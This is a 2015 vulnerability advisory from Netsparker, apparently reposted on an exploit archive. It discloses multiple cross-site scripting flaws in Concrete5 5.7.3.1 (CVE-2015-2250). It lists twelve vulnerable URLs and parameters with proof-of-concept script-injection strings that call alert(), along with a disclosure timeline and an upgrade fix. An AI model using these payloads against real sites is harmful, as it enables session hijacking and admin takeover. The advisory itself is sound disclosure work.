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Concrete5 5.7.3.1 Cross Site Scripting

Concrete5 5.7.3.1 Cross Site Scripting
Posted May 13, 2015
Authored by Onur YILMAZ, Omar Kurt | Site netsparker.com

Concrete5 version 5.7.3.1 suffers from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
advisories | CVE-2015-2250
MD5 | 031a2b156f26410afcce6fdf87f8f0d9

Concrete5 5.7.3.1 Cross Site Scripting

Change Mirror Download
Information
--------------------
Advisory by Netsparker.
Name: Multiple XSS Vulnerabilities in Concrete5
Affected Software : Concrete5
Affected Versions: 5.7.3.1 and possibly below
Vendor Homepage : https://www.concrete5.org
Vulnerability Type : Cross-site Scripting
Severity : Important
CVE-ID: CVE-2015-2250
Netsparker Advisory Reference : NS-15-008

Description
--------------------
By exploiting a Cross-site scripting vulnerability the attacker can
hijack a logged in user’s session. This means that the malicious
hacker can change the logged in user’s password and invalidate the
session of the victim while the hacker maintains access. As seen from
the XSS example in this article, if a web application is vulnerable to
cross-site scripting and the administrator’s session is hijacked, the
malicious hacker exploiting the vulnerability will have full admin
privileges on that web application.

Technical Details
--------------------
Proof of Concept URLs for cross-site scripting vulnerabilities in Concrete5:

URL: /concrete5.7.3.1/index.php/dashboard/system/conversations/bannedwords/success
Parameter Name: banned_word%5b%5d
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000936)</scRipt>

URL: /concrete5.7.3.1/index.php/dashboard/reports/logs/view?keywords=&level=&channel='"--></style></scRipt><scRipt>alert(0x0044C4)</scRipt>&level[]=600
Parameter Name: channel
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0044C4)</scRipt>

URL: /concrete5.7.3.1/index.php/tools/required/permissions/access_entity?peID=1&pdID=3&accessType='"--></style></scRipt><scRipt>alert(0x00690C)</scRipt>
Parameter Name: accessType
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00690C)</scRipt>

URL: /concrete5.7.3.1/index.php/dashboard/system/multilingual/setup/load_icon
Parameter Name: msCountry
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00D064)</scRipt>

URL: /concrete5.7.3.1/index.php/tools/required/permissions/access_entity?accessType='"--></style></scRipt><scRipt>alert(0x00687C)</scRipt>&pkCategoryHandle=block_type
Parameter Name: accessType
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00687C)</scRipt>

URL: /concrete5.7.3.1/index.php/ccm/system/dialogs/area/design/submit?ccm_token=1423928022:7f9b7c3cb0f6721bab4a0dec86cefaa3&cID=1&arHandle='"--></style></scRipt><scRipt>alert(0x00D33A)</scRipt>
Parameter Name: arHandle
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00D33A)</scRipt>

URL: /concrete5.7.3.1/index.php/dashboard/pages/single
Parameter Name: pageURL:
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00627A)</scRipt>

URL: /concrete5.7.3.1/index.php/ccm/system/dialogs/area/design?arHandle='"--></style></scRipt><scRipt>alert(0x001D34)</scRipt>&cID=1
Parameter Name: arHandle
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001D34)</scRipt>

URL: /concrete5.7.3.1/index.php/dashboard/system/seo/searchindex/updated
Parameter Name: SEARCH_INDEX_AREA_METHOD
Parameter Type: POST
Attack Pattern: '" onmouseover= alert(0x00047E)

URL: /concrete5.7.3.1/index.php/dashboard/system/optimization/jobs/job_scheduled
Parameter Name: unit
Parameter Type: POST
Attack Pattern: '" onmouseover= alert(0x000C5A)

URL: /concrete5.7.3.1/index.php/dashboard/system/registration/open/1
Parameter Name: register_notification_email
Parameter Type: POST
Attack Pattern: '" onmouseover= alert(0x0000DE)

URL: /concrete5.7.3.1/index.php/dashboard/extend/connect/"onmouseover="alert(0x00170E)
Parameter Name: URI-BASED
Parameter Type: Full URL:
Attack Pattern: /"onmouseover="alert(0x00170E)

For more information on cross-site scripting vulnerabilities read the
following article:
https://www.netsparker.com/web-vulnerability-scanner/vulnerability-security-checks-index/crosssite-scripting-xss/

Advisory Timeline
--------------------
05/03/2015 - First Contact
06/05/2015 - Vulnerability fixed
11/05/2015 - Advisory released

Solution
--------------------
Download Concrete5 version 5.7.4 which includes fix for this vulnerability.

Credits & Authors
--------------------
These issues have been discovered by Omar Kurt while testing
Netsparker Web Application Security Scanner -
https://www.netsparker.com/web-vulnerability-scanner/

About Netsparker
--------------------
Netsparker finds and reports security issues and vulnerabilities such
as SQL Injection and Cross-site Scripting (XSS) in all websites and
web applications regardless of the platform and the technology they
are built on. Netsparker's unique detection and exploitation
techniques allows it to be dead accurate in reporting hence it's the
first and the only False Positive Free web application security
scanner. For more information visit our website on
https://www.netsparker.com

--
Onur Yılmaz - Turkey Manager

Netsparker Web Application Security Scanner
T: +90 (0)554 873 0482

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